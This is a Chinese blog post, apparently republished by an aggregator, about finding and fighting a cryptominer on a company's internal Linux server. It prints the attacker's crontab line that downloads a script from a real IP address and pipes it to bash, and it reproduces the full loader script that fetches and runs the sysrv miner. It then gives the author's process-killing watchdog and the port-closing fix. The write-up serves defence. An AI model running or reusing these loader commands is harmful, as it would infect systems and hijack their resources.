Linux运维安全----公司内网服务器被埋了一台挖矿机,用我的经历来告诉你怎么破解它!
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了Linux运维安全----公司内网服务器被埋了一台挖矿机,用我的经历来告诉你怎么破解它!,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含2919字,纯文字阅读大概需要5分钟。
内容图文
大致说一下背景:姑且算个历史原因,为节约阿里云服务器成本<将原阿里云服务器迁移到本地>,需本地服务器虚拟机化划分多套环境以供开发/测试驱使;
但是UAT和生产都是阿里云服务器,在使用jenkins构建部署服务的时候需要从nexus私服拉取maven依赖;由于是内网访问,会导致请求nexus私服超时;
故而,在网关虚拟机映射端口到本地nexus私服服务器的端口;目前猜测是这样的,可能是这个端口暴露了,因为即没发现在其他虚拟就有矿机,也没再开放多的端口。
起因:开发同事在构建部署服务的时候,老是失败,提示mvn执行内存不足?还在不停的百度,通过修改mvn执行jvm虚拟机的内存大小,偶尔有时候会成功。
解决办法:
1、修改mvn运行内存的大小,成功概率低下;
2、不得已,重启linux系统,成功概率直线上升,一会儿又不行了。
分析:这时开始怀疑系统是否中毒了<公司又没有运维>
top命名查看服务器负载情况,发现平均负载>2,某进程kthreaddi进程cpu超过200%,kill -9 查杀之后又自动重启了。
tips:kthreaddi伪装了一下,一启动就是超过100%的cpu,肯定有问题,继续往下排查~
想起linux运维安全的后怕,检查有谁在什么时候连接过服务器,history检查历时命令,可能的情况黑客比较谨慎,什么足迹都没留下。
别无他法!自能靠自己摸索,crontab -e查看定时任务,黑客的常用伎俩,果然发现不对劲,有门道:
*/30 * * * * (curl http://31.42.177.123/ldr.sh||wget -q -O - http://31.42.177.123/ldr.sh)|bash
谁写的已经不言而喻,也找不到罪魁祸首,反正我是不会,那么我去下载ldr.sh这个脚本,到底是干嘛的:
cc=http://31.42.177.123
sys=sysrv005
bit=$(getconf LONG_BIT)
pkill -9 $sys
get() {
chattr -i $2; rm -rf $2
curl --user-agent curl_ldr$bit -fsSL $1 > $2 || wget --user-agent wget_ldr$bit -q -O - $1 > $2 || php -r "file_put_contents('$2', file_get_contents('$1'));"
chmod +x $2
}
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
ps -fe | grep $sys | grep -v grep; if [ $? -ne 0 ]; then
get $cc/sysrvv $sys; ./$sys
fi
- 首先它先自杀一把sysrv005,这是你看到top的第二个进程;
- 然后写了一个函数get(),里面主要干三件事
- 删除原来的文件
- 下载矿机
- 赋予执行权限
- 下面几行就是执行get函数,再启动矿机sysrv005
其心可诛啊,最后我在本机下载它的文件试试,得到一个被管家查杀的结果,证明了我的猜测。前方高能预警,这个东西相信大家都看得懂:
:
tips:本地管家有保护系统的程序,检测到文件有病毒,所以懂的,这是一台矿机无疑!
排查原因:端口开放的错误,但是又会影响其他环境的使用;所以先不急,看他是起服务快,还是我杀进程快:
#!/bin/sh
i=1
while true
do
pid=`ps -aux|grep -v grep |grep kthreaddi |awk '{print $2}'`
if [[ $pid -ne 0 ]];then
kill -9 $pid
echo "查杀第$i次" >> kthreaddi.log
let i+=1
fi
sleep 5
done
shell脚本随手捏来,今天战绩如下:
从时间上来看,它启动没有我5秒钟杀进程来得快,即使它成功了,也只能存活<5s。
你以为到这里就结束了吗?No~No~No~~~这不能解决安全问题:随时可能其他服务器被埋矿机。
解决本地服务器jenkins构建部署服务的方案如下:
1、先关闭所有公网端口,观察两天<基本两天它会重新写入>,确定是端口惹的祸,不然我好好的一个内网别人如何进得来?
2、其实也不需要管其他服务器了,因为只有在这台服务器发现矿机;那么关系到这台服务器的端口就只有一个。
3、关闭之后,UAT&PROD环境的打包环境都移至测试jenkins工具服务器统一完成打包上传即可。
内容总结
以上是互联网集市为您收集整理的Linux运维安全----公司内网服务器被埋了一台挖矿机,用我的经历来告诉你怎么破解它!全部内容,希望文章能够帮你解决Linux运维安全----公司内网服务器被埋了一台挖矿机,用我的经历来告诉你怎么破解它!所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。